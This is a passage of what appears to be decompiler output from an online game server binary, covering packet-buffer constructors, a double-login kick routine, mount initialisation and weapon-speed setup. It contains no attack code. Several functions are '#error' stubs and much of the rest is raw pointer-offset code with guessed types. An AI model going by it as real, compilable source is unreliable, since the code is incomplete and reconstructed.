*)&this->bixm_nc[1]; this->bixm_Pointer = v1; v1->mobnum = 0; } } //----- (00427E40) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(BriefInfoExchanger::BriefInfoExchangeDoor *this) { BriefInfoExchanger::BriefInfoExchangeDoor *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixd_Packetbuffer; v1->bixd_Packet.pp_Buffer = v2; v1->bixd_nc = (NETCOMMAND *)v2; v1->bixd_Packet.pp_PacketLength = 0; v1->bixd_Packet.pp_BufferSize = 1488; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixd_nc->protocol = v1->bixd_nc->protocol & 0xFC10 | 0x10; v1->bixd_Pointer = (PROTO_NC_BRIEFINFO_DOOR_CMD *)&v1->bixd_nc[1]; } //----- (00427EA0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(BriefInfoExchanger::BriefInfoExchangeEffect *this) { BriefInfoExchanger::BriefInfoExchangeEffect *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixe_Packetbuffer; v1->bixe_Packet.pp_Buffer = v2; v1->bixe_nc = (NETCOMMAND *)v2; v1->bixe_Packet.pp_PacketLength = 0; v1->bixe_Packet.pp_BufferSize = 1457; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixe_nc->protocol = v1->bixe_nc->protocol & 0xFC12 | 0x12; v1->bixe_Pointer = (PROTO_NC_BRIEFINFO_EFFECT_CMD *)&v1->bixe_nc[1]; } //----- (00427F00) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(BriefInfoExchanger::BriefInfoExchangeItem *this) { BriefInfoExchanger::BriefInfoExchangeItem *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixi_Packetbuffer; v1->bixi_Packet.pp_Buffer = v2; v1->bixi_nc = (NETCOMMAND *)v2; v1->bixi_Packet.pp_PacketLength = 0; v1->bixi_Packet.pp_BufferSize = 465; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixi_nc->protocol = v1->bixi_nc->protocol & 0xFC0B | 0xB; v1->bixi_Pointer = (PROTO_NC_BRIEFINFO_ITEMONFIELD_CMD *)&v1->bixi_nc[1]; } //----- (00427F60) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(BriefInfoExchanger::BriefInfoExchangeMagicField *this) { BriefInfoExchanger::BriefInfoExchangeMagicField *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixmfm_Packetbuffer; v1->bixmfm_Packet.pp_Buffer = v2; v1->bixmfm_nc = (NETCOMMAND *)v2; v1->bixmfm_Packet.pp_PacketLength = 0; v1->bixmfm_Packet.pp_BufferSize = 496; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixmfm_nc->protocol = v1->bixmfm_nc->protocol & 0xFC0D | 0xD; v1->bixmfm_Pointer = (PROTO_NC_BRIEFINFO_MAGICFIELDINFO_CMD *)&v1->bixmfm_nc[1]; } //----- (00427FC0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this) { BriefInfoExchanger::BriefInfoExchangeMiniHouse *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bixc_Packetbuffer; v1->bixmh_Packet.pp_Buffer = v2; v1->bixmh_nc = (NETCOMMAND *)v2; v1->bixmh_Packet.pp_PacketLength = 0; v1->bixmh_Packet.pp_BufferSize = 1860; *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bixmh_nc->protocol = v1->bixmh_nc->protocol & 0xFC14 | 0x14; v1->bixmh_Pointer = (PROTO_NC_BRIEFINFO_MINIHOUSE_CMD *)&v1->bixmh_nc[1]; } //----- (00428020) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer(BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer *this) { this->bixa_Packet.pp_Buffer = 0; this->bixa_Packet.pp_PacketLength = 0; } //----- (00428030) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::_BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { _eh_vector_destructor_iterator_( this, 0x17Cu, 30, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00428050) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { char *v1; // eax@2 signed int v2; // edi@2 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v3; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v4; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v5; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v6; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v7; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v8; // edx@3 PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *v9; // eax@4 if ( !this->bixa_Pointer ) { v1 = (char *)&this->bixa_Packetbuffer[2].bixa_Packet.pp_BufferSize; v2 = 5; do { *((_DWORD *)v1 - 190) = 365; *((_DWORD *)v1 - 191) = v1 - 752; *((_WORD *)v1 - 376) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 - 752); v3 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 191) + 2); this->bixa_Pointer = v3; v3->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 - 95) = 365; *((_DWORD *)v1 - 96) = v1 - 372; *((_WORD *)v1 - 186) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 - 372); v4 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 96) + 2); this->bixa_Pointer = v4; v4->handle = -1; this->bixa_Pointer->count = 0; *(_DWORD *)v1 = 365; *((_DWORD *)v1 - 1) = v1 + 8; *((_WORD *)v1 + 4) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 8); v5 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 - 1) + 2); this->bixa_Pointer = v5; v5->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 95) = 365; *((_DWORD *)v1 + 94) = v1 + 388; *((_WORD *)v1 + 194) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 388); v6 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 94) + 2); this->bixa_Pointer = v6; v6->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 190) = 365; *((_DWORD *)v1 + 189) = v1 + 768; *((_WORD *)v1 + 384) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 768); v7 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 189) + 2); this->bixa_Pointer = v7; v7->handle = -1; this->bixa_Pointer->count = 0; *((_DWORD *)v1 + 285) = 365; *((_DWORD *)v1 + 284) = v1 + 1148; *((_WORD *)v1 + 574) = 7193; this->bixa_nc = (NETCOMMAND *)(v1 + 1148); v8 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(*((_DWORD *)v1 + 284) + 2); this->bixa_Pointer = v8; v8->handle = -1; v1 += 2280; --v2; this->bixa_Pointer->count = 0; } while ( v2 ); v9 = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(this->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); this->bixa_count = 0; this->bixa_Pointer = v9; } } //----- (004281F0) -------------------------------------------------------- void __thiscall CalculateBroadcastDistance::CalculateBroadcastDistance(CalculateBroadcastDistance *this) { int v1; // esi@1 int v2; // eax@1 unsigned __int64 v3; // qax@2 v1 = 1; v2 = 1 - this->cbd_MinDist; this->cbd_DistSquar[0] = 2560000; if ( (unsigned int)v2 < 0x1F4 ) { do { v3 = (unsigned __int64)sqrt((double)((signed int)&wholesaver.ws_savestore[845].esc_abstate.buffer[18920] / v1)); if ( (unsigned int)v3 <= 0x640 ) this->cbd_DistSquar[v1 - this->cbd_MinDist] = v3 * v3; else this->cbd_MinDist = v1; ++v1; } while ( (unsigned int)(v1 - this->cbd_MinDist) < 0x1F4 ); } } //----- (00428270) -------------------------------------------------------- void __thiscall BriefInfoBackup::BriefInfoBackup(BriefInfoBackup *this) { this->bib_Backuped = 0; } //----- (00428280) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_FromWhere(int this, char connectfrom) { char result; // al@1 result = connectfrom; *(_BYTE *)(this + 92236) = connectfrom; return result; } //----- (00428290) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetFromWhere(int this) { return *(_BYTE *)(this + 92236); } //----- (004282A0) -------------------------------------------------------- void __thiscall AxialListGhostBan::_AxialListGhostBan(AxialListGhostBan *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGhostBan::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 59C6C0: using guessed type int (__stdcall *AxialListGhostBan___vftable_)(int, int, int distancesquar); //----- (004282B0) -------------------------------------------------------- #error "4282B0: undefined or illegal type '#331' (funcsize=32)" //----- (00428310) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (00428350) -------------------------------------------------------- void __cdecl std::fill(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Val) { std::list,std::allocator > >::iterator *i; // eax@1 for ( i = _First; i != _Last; ++i ) *(_DWORD *)&i->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Val->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; } //----- (00428370) -------------------------------------------------------- char __thiscall List::l_4AllInList(List *this, ListIteratorDefault *arg) { List *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // eax@2 int v5; // ecx@2 ListStruct *v6; // edi@3 ORTable *v7; // ebp@3 unsigned __int16 v8; // di@3 char result; // al@6 v2 = this; v3 = this->l_Array[this->l_Finger.store].ls_Next; if ( v3 >= this->l_MaxSize ) { LABEL_6: result = 1; } else { while ( 1 ) { v4 = v3; v5 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v5 + 8) ) break; v6 = v2->l_Array; v7 = v6[v4].ls_Content; v8 = v6[v4].ls_Next; if ( v7 ) { if ( !arg->vfptr->lid_Call(arg, *(ORTable **)v5, v3) ) break; } v3 = v8; if ( v8 >= v2->l_MaxSize ) goto LABEL_6; } result = 0; } return result; } //----- (004283E0) -------------------------------------------------------- void *__thiscall Observer::_vector_deleting_destructor_(Observer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; Observer::_Observer(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00428400) -------------------------------------------------------- char __thiscall ItemBoxIterItem::ibi_isvalid(ItemBoxIterItem *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) != -1; } //----- (00428420) -------------------------------------------------------- char __thiscall ItemBoxIterEmpty::ibi_isvalid(ItemBoxIterEmpty *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) == -1; } //----- (00428440) -------------------------------------------------------- char __thiscall ItemBoxIterIdent::ibi_isvalid(ItemBoxIterIdent *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) == this->ibii_ident; } //----- (00428460) -------------------------------------------------------- #error "428460: undefined or illegal type '#331' (funcsize=26)" //----- (004284C0) -------------------------------------------------------- #error "4284C0: undefined or illegal type '#748' (funcsize=14)" //----- (004284F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin(void *this) { void *v1; // ebp@1 List *v2; // ebx@1 DebugLogging *v3; // eax@2 ListStruct *v4; // ecx@3 unsigned __int16 v5; // ax@3 unsigned __int16 v6; // si@3 int v7; // eax@5 int v8; // edi@6 int v9; // ST28_4@8 DebugLogging *v10; // esi@9 _iobuf *v11; // eax@11 _iobuf *v12; // eax@16 char *v13; // [sp-4h] [bp-30h]@2 unsigned __int16 v14; // [sp+12h] [bp-1Ah]@3 void *v15; // [sp+14h] [bp-18h]@1 v1 = this; v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = unk_1247FF04; if ( unk_1247FF04 ) { v4 = unk_1247FF04->l_Array; v5 = v4[unk_1247FF04->l_Finger.store].ls_Next; v6 = v4[v5].ls_Next; v14 = v4[v5].ls_Next; while ( v5 < v2->l_MaxSize ) { v7 = (int)&v2->l_Array[v5]; if ( !*(_BYTE *)(v7 + 8) ) break; v8 = *(_DWORD *)v7; if ( !*(_DWORD *)v7 ) break; if ( *(_WORD *)(v8 + 4) != *((_WORD *)v1 + 2) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 840))(v8); if ( v9 == (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 840))(v1) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 836))(v8); v10 = DebugLogging::operator<<(&MoreDisconnectLog, "Kick by double connect "); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } if ( DebugLogging::dl_ActivAll && v10->dl_Activ && v10->dl_FilePointer ) { v12 = DebugLogging::dl_FilePoint(v10); fputc(10, v12); fflush(v10->dl_FilePointer); fclose(v10->dl_FilePointer); v10->dl_FilePointer = 0; } } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 1468))(v8, 1); v6 = v14; } v1 = v15; } if ( v6 >= v2->l_MaxSize ) break; v5 = v6; v14 = v2->l_Array[v6].ls_Next; v6 = v2->l_Array[v6].ls_Next; } v13 = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; } else { v3 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin : List Null"); DebugLogging::operator<<(v3, &deb_LF); v13 = "ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00428710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_2Roumen(void *this) { void *v1; // edi@1 int v2; // ecx@1 unsigned int v3; // eax@3 char *v4; // eax@3 FieldOption::FieldAttr *v5; // esi@3 unsigned int v6; // eax@5 char *v7; // eax@5 FieldOption::FieldAttr *v8; // eax@5 char *v9; // [sp-4h] [bp-F4h]@2 char lnkinf; // [sp+10h] [bp-E0h]@8 int v11; // [sp+24h] [bp-CCh]@7 int v12; // [sp+28h] [bp-C8h]@7 int v13; // [sp+2Ch] [bp-C4h]@7 char v14; // [sp+30h] [bp-C0h]@7 int v15; // [sp+45h] [bp-ABh]@7 int v16; // [sp+49h] [bp-A7h]@7 int v17; // [sp+4Dh] [bp-A3h]@7 char v18; // [sp+51h] [bp-9Fh]@7 int v19; // [sp+66h] [bp-8Ah]@7 int v20; // [sp+6Ah] [bp-86h]@7 char v21; // [sp+8Ch] [bp-64h]@4 char v22; // [sp+ADh] [bp-43h]@4 int v23; // [sp+CEh] [bp-22h]@4 int v24; // [sp+D2h] [bp-1Eh]@4 unsigned int v25; // [sp+E0h] [bp-10h]@9 int v26; // [sp+ECh] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_2Roumen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_2Roumen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v26 = 0; if ( v2 ) { v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)v2; *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 8); v4[12] = 0; v5 = FieldOption::fo_GetFieldAttr(&::this, v4); if ( v5 ) { v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)&v5->regencity.n3_name[0]; *((_DWORD *)v7 + 1) = *(_DWORD *)&v5->regencity.n3_name[4]; *((_DWORD *)v7 + 2) = *(_DWORD *)&v5->regencity.n3_name[8]; v7[12] = 0; v8 = FieldOption::fo_GetFieldAttr(&::this, v7); if ( v8 ) v5 = v8; v11 = *(_DWORD *)&v5->regencity.n3_name[0]; v12 = *(_DWORD *)&v5->regencity.n3_name[4]; v13 = *(_DWORD *)&v5->regencity.n3_name[8]; v14 = 0; v15 = *(_DWORD *)&v5->regencity.n3_name[0]; v16 = *(_DWORD *)&v5->regencity.n3_name[4]; v17 = *(_DWORD *)&v5->regencity.n3_name[8]; v18 = 0; v19 = *(_DWORD *)&v5->regenloc[0].PKer; v20 = *(_DWORD *)&v5->regenloc[0].Summoned; } else { strncpy(&v21, "Rou", 0xCu); strncpy(&v22, "Rou", 0xCu); v23 = 4134; v24 = 6488; } (*(void (__thiscall **)(void *, char *, _DWORD))(*(_DWORD *)v1 + 1000))(v1, &lnkinf, 0); v9 = "ShineObjectClass::ShinePlayer::sp_2Roumen"; } else { v9 = "ShineObjectClass::ShinePlayer::sp_2Roumen"; } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); __security_check_cookie(v25); } //----- (004288F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RideInitialize(void *ecx0) { void *v1; // esi@1 int v2; // edx@1 char v3; // cl@1 int v4; // edi@4 CIDEB_Element *v5; // eax@7 int v6; // edx@9 int v7; // eax@10 int v8; // ecx@10 int v9; // eax@11 int v10; // eax@15 int ibii; // [sp+10h] [bp-2Ch]@2 char *v12; // [sp+14h] [bp-28h]@2 int v13; // [sp+18h] [bp-24h]@2 int v14; // [sp+1Ch] [bp-20h]@2 ItemBoxIterItem this; // [sp+20h] [bp-1Ch]@10 int v16; // [sp+38h] [bp-4h]@1 v1 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RideInitialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RideInitialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); *((_WORD *)v1 + 46063) = -1; *((_WORD *)v1 + 46062) = -1; v3 = *(_BYTE *)(*(_DWORD *)(v2 + 12) + 164); v16 = 0; if ( v3 ) { ibii = (int)ItemBoxIterator::_vftable_; v12 = (char *)v1 + 35568; v14 = (*(int (**)(void))(*((_DWORD *)v1 + 8892) + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v16) = 1; v13 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { while ( 1 ) { v4 = (**(int (__stdcall ***)(_DWORD))v12)(v13); if ( (unsigned __int8)(*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 92))(v4 + 8) ) break; if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_17; } *((_WORD *)v1 + 46063) = v13; v5 = ChargedItemEffectDataBox::cideb_GetItemID(&ridedatabox, *(_WORD *)(v4 + 8)); *((_DWORD *)v1 + 23032) = v5; if ( v5 != 0 ) { ShineObjectClass::ShinePlayer::sp_HorseOn(v1, 0); v6 = *((_DWORD *)v1 + 929); *((_WORD *)v1 + 46062) = -1; *(_BYTE *)v6 = 6; ibii = (int)ItemBoxIterator::_vftable_; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_RideInitialize : Null Ride", 0); ibii = (int)ItemBoxIterator::_vftable_; } } } else { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1156))(v1); v8 = (int)((char *)v1 + 35568); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 35568); if ( v7 ) v9 = (*(int (__stdcall **)(int))(*(_DWORD *)v8 + 4))(v7); else v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); this.baseclass_0.ibi_Limit = v9; this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v16) = 2; this.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&this) || ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { do { v10 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); (*(void (__stdcall **)(int, _DWORD))(**(_DWORD **)(v10 + 112) + 96))(v10 + 8, 0); } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); } this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } LABEL_17: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RideInitialize"); } // 59C6A4: invalid function type has been ignored // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00428B20) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponSpeedSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); } //----- (00428B60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet(void *this) { void *v1; // edi@1 int v2; // ebx@1 unsigned __int16 v3; // ax@1 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 ItemInfo *v5; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 10); v3 = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8050))((char *)v1 + 32200, 12) + 8); if ( v3 == -1 ) v3 = *(_WORD *)(v2 + 8); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( v4 && (v5 = v4->data, v5->Class == 5) ) *((_WORD *)v1 + 44502) = LOWORD(v5->AtkSpeed); else *((_WORD *)v1 + 44502) = 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); } //----- (00428C50) -------------------------------------------------------- #error "428C50: undefined or illegal type '#331' (funcsize=91)" //----- (00428D80) -------------------------------------------------------- #error "428D80: undefined or illegal type '#331' (funcsize=90)" //----- (00428EB0) -------------------------------------------------------- #error "428EB0: undefined or illegal type '#331' (funcsize=91)" //----- (00428FE0) -------------------------------------------------------- #error "428FE0: undefined or illegal type '#331' (funcsize=90)" //----- (00429110) -------------------------------------------------------- #error "429110: undefined or illegal type '#331' (funcsize=90)" //----- (00429240) -------------------------------------------------------- #error "429240: undefined or illegal type '#331' (funcsize=90)" //----- (00429370) -------------------------------------------------------- #error "429370: undefined or illegal type '#331' (funcsize=90)" //----- (004294A0) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { BriefInfoExchanger::BriefInfoExchangeAbstate *v1; // esi@1 BriefInfoExchanger::BriefInfoExchangeAbstate *v2; // eax@1 signed int v3; // edx@1 int v4; // ecx@2 v1 = this; _eh_vector_constructor_iterator_( this, 0x17Cu, 30, (void (__thiscall *)(void *))BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->bixa_count = 0; v2 = v1; v3 = 30; do { v2->bixa_Packetbuffer[0].bixa_Packet.pp_BufferSize = 365; v2->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer = v2->bixa_Packetbuffer[0].bixa_abStateBuffer; *(_WORD *)&v2->bixa_Packetbuffer[0].bixa_abStateBuffer[0] = 7193; v1->bixa_nc = (NETCOMMAND *)v2->bixa_Packetbuffer[0].bixa_abStateBuffer; v4 = (int)(v2->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); v1->bixa_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)v4; *(_WORD *)v4 = -1; v2 = (BriefInfoExchanger::BriefInfoExchangeAbstate *)((char *)v2 + 380); --v3; v1->bixa_Pointer->count = 0; } while ( v3 ); v1->bixa_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(v1->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); } //----- (00429540) -------------------------------------------------------- #error "429540: undefined or illegal type '#331' (funcsize=100)" //----- (004296A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo(void *this, int equcell, int slot) { int v3; // edi@1 void *v4; // esi@1 int v5; // ebx@1 int v6; // edi@1 int v7; // eax@2 int v8; // ST04_4@4 int v9; // eax@4 unsigned __int16 OutNew_WT_MobID; // [sp+18h] [bp-24h]@1 char OutNew_WT_TitleLevel; // [sp+1Ch] [bp-20h]@1 FunctionEntarance _; // [sp+20h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@4 int v14; // [sp+38h] [bp-4h]@1 v3 = (int)"ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v3) = *((_WORD *)v4 + 2); v5 = **(_DWORD **)(equcell + 112); v14 = 0; v6 = (*(int (__stdcall **)(int, char *, int, int, unsigned __int16 *, char *))(v5 + 32))( v3, gpp.pp_Buffer, equcell + 8, slot, &OutNew_WT_MobID, &OutNew_WT_TitleLevel); if ( v6 > 0 ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1036))(v4); if ( *(_BYTE *)(v7 + 548) == 10 ) CCharacterTitle::SetCurrentTitle((CCharacterTitle *)v7, 10, 